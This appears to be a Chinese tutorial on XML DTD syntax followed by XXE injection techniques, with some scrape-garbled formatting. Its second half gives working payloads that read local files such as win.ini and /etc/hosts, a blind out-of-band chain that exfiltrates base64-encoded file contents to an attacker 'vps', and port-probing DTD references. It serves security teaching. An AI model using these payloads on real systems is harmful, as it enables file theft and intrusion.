文档类型定义(DTD)可定义合法的XML文档构建模块。它使用一系列合法的元素来定义文档的结构。
DTD 可被成行地声明于 XML 文档中,也可作为一个外部引用。
假如 DTD 被包含在您的 XML 源文件中,它应当通过下面的语法包装在一个 DOCTYPE 声明中:
<!DOCTYPE 根元素 [元素声明]>
假如 DTD 位于 XML 源文件的外部,那么它应通过下面的语法被封装在一个 DOCTYPE 定义中:
<!DOCTYPE 根元素 SYSTEM "文件名">
所有的 XML 文档(以及 HTML 文档)均由以下简单的构建模块构成:
声明一个元素:
<!ELEMENT 元素名称 类别> <!ELEMENT 元素名称 (元素内容)> <!ELEMENT 元素名称 EMPTY> //空元素 <!ELEMENT 元素名称 ANY> //带有任何内容的元素 <!ELEMENT 元素名称 (子元素名称 1,子元素名称 2,.....)> //带有子元素的元素 <!ELEMENT note (message)> //声明只出现一次的元素
属性声明使用下列语法:
<!ATTLIST 元素名称 属性名称 属性类型 默认值> demo: <!ELEMENT square EMPTY> <!ATTLIST square width CDATA "0">
实体是用于定义引用普通文本或特殊字符的快捷方式的变量。实体引用是对实体的引用。实体可在内部或外部进行声明。
语法:
<!ENTITY 实体名称 "实体的值">
一个外部实体声明:
<!ENTITY 实体名称 SYSTEM "URI/URL">
URI支持的协议:
<?php $s=<<<string <!DOCTYPE a [<!ENTITY b "this is b">]> <c>&b;</c> //使用&变量名进行调用实体定义的变量和值 string; echo simplexml_load_string($s);
DTD例子:
<?xml version="1.0"?> <!DOCTYPE note [ //定义此文档是note类型的文档 <!ELEMENT note (to,from,heading,body)> //定义note元素有四个元素 <!ELEMENT to (#PCDATA)> //定义to元素为#PCDATA类型 <!ELEMENT from (#PCDATA)> //定义from元素为#PCDATA类型 <!ELEMENT heading (#PCDATA)> <!ELEMENT body (#PCDATA)> ]> <note> <to>Tove</to> <from>Jani</from> <heading>Reminder</heading> <body>Don't forget me this weekend</body> </note>
php代码还是上一节xml注入代码,只是这里加入了输出xml解析结果:
注意:这里用%26对&字符进行了编码。
xml=<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE XXE [<!ENTITY xx SYSTEM "file:///C:/Windows/win.ini" >]> <c>%26xx;</c>
屏蔽xml解析输出,可通过报错信息查看端口是否开放
如果代码屏蔽了错误和xml解析,那么只能进行盲注了。
思路:
1. 客户端发送payload 1给web服务器
2. web服务器向vps获取恶意DTD,并执行文件读取payload2
3. web服务器带着回显结果访问VPS上特定的FTP或者HTTP
4. 通过VPS获得回显(nc监听端口)
本地客户端(payload 1 ):
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE root [<!ENTITY % remote SYSTEM "http://vps/test.xml"> %remote;]>
test.xml的内容(VPS):
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=C:/Windows/win.ini"> <!ENTITY % x '<!ENTITY % send SYSTEM "http://127.0.0.1/index.php?id=%file;">'> %x; %send;
先将SYSTEM的php协议读取到的内容赋值给参数实体%file,第二步是一个实体嵌套,%file是远程访问http协议所携带的内容。
查看web日志,已将结果返回到日志记录中。
尝试注入特殊字符,使XML失效,引发解析异常,明确后端使用XML传输数据。
' "
。XML的属性值必须用引号包裹,而数据可能进入标签的属性值。< >
。XML的开始/结束标签用尖括号包裹,数据中出现尖括号会引发异常。<!--
。XML使用 <!-- This is a comment -->
作注释。&
。& 用于引用实体。]]>
。<![CDATA[foo]]>
中的内容不被parser解析,提前闭合引发异常。尝试利用实体和DTD。
<!DOCTYPE a SYSTEM "http://127.0.0.1:2333">
(看响应时间)<!DOCTYPE a SYSTEM "http://vps_ip" >
<!DOCTYPE a [<!ENTITY xxe "findneo">]><a>&xxe;</a>
<!DOCTYPE a [<!ENTITY xxe SYSTEM "file:///etc/hosts">]><a>&xxe;</a>
<!DOCTYPE a SYSTEM "http://192.168.1.2:80">
(看响应时间)<!DOCTYPE a [<!ENTITY xxe SYSTEM "http://vps_ip">]><a>&xxe;</a>